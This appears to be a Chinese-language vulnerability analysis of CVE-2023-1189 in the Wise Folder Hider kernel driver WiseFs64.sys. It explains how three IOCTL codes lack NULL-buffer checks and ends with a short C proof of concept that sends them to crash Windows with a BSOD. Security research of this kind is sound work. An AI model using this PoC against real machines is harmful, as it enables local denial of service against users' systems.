| 项目 | 详细信息 |
|---|---|
| CVE ID | CVE-2023-1189 |
| 漏洞类型 | Improper Resource Shutdown or Release (CWE-404) |
| 受影响软件 | WiseCleaner Wise Folder Hider |
| 漏洞组件 | WiseFs64.sys (Kernel Driver) |
| 受影响版本 | 4.4.3.202 |
| CVSS | NVD - 5.5(Medium), VulDB - 3.3(Low) |
| 披露日期 | 2023.03.06 |
该漏洞是攻击者在用户权限下通过特定 IOCTL 诱导内核发生空指针解引用(NULL Pointer Dereference), 从而使系统进入 BSOD 状态的本地拒绝服务(Local Denial of Service)漏洞。
CVE-2023-1189 漏洞源于 4.4.3.202 版本 Wise Folder Hider 程序在安装过程中生成的 WiseFs64.sys 内核驱动程序。
整体漏洞触发流程如下:

详细查看该流程:

首先,DriverEntry 函数在 Dispatch Table 的第 14 个索引处设置 dispatchDeviceControl 函数。
这样一来,所有发送到 \\.\WiseFs 的 IOCTL 都会被传递到 dispatchDeviceControl。

进入 dispatchDeviceControl 函数后,首先会判断是否为控制设备(control device),如果是,则进入 handleControlDeviceIoctl 函数。

handleControlDeviceIoctl 函数包含处理实际 IOCTL code 的逻辑。
在多个 IOCTL code 中,0x222400、0x222404、0x222410 省略了对 Buffer 值是否为 NULL 的校验。
因此,当 Buffer 为 NULL 时调用上述 IOCTL,驱动程序在访问 Buffer 时会发生空指针解引用(NULL Pointer Dereference),最终导致 BSOD。
#include <stdio.h>
#include <Windows.h>
#include <winioctl.h>
#define SymLinkName L"\\\\.\\WiseFS"
HANDLE hDevice;
int main(int argc, char* argv[]) {
DWORD dwWrite = 0;
hDevice = CreateFileW(SymLinkName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("failed to CreateFile\n");
return 1;
}
// case 0x222400
// DeviceIoControl(hDevice, 0x222400, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222404
// DeviceIoControl(hDevice, 0x222404, NULL, 0, NULL, 0, &dwWrite, NULL);
// case 0x222410
// DeviceIoControl(hDevice, 0x222410, NULL, 0, NULL, 0, &dwWrite, NULL);
CloseHandle(hDevice);
return 0;
}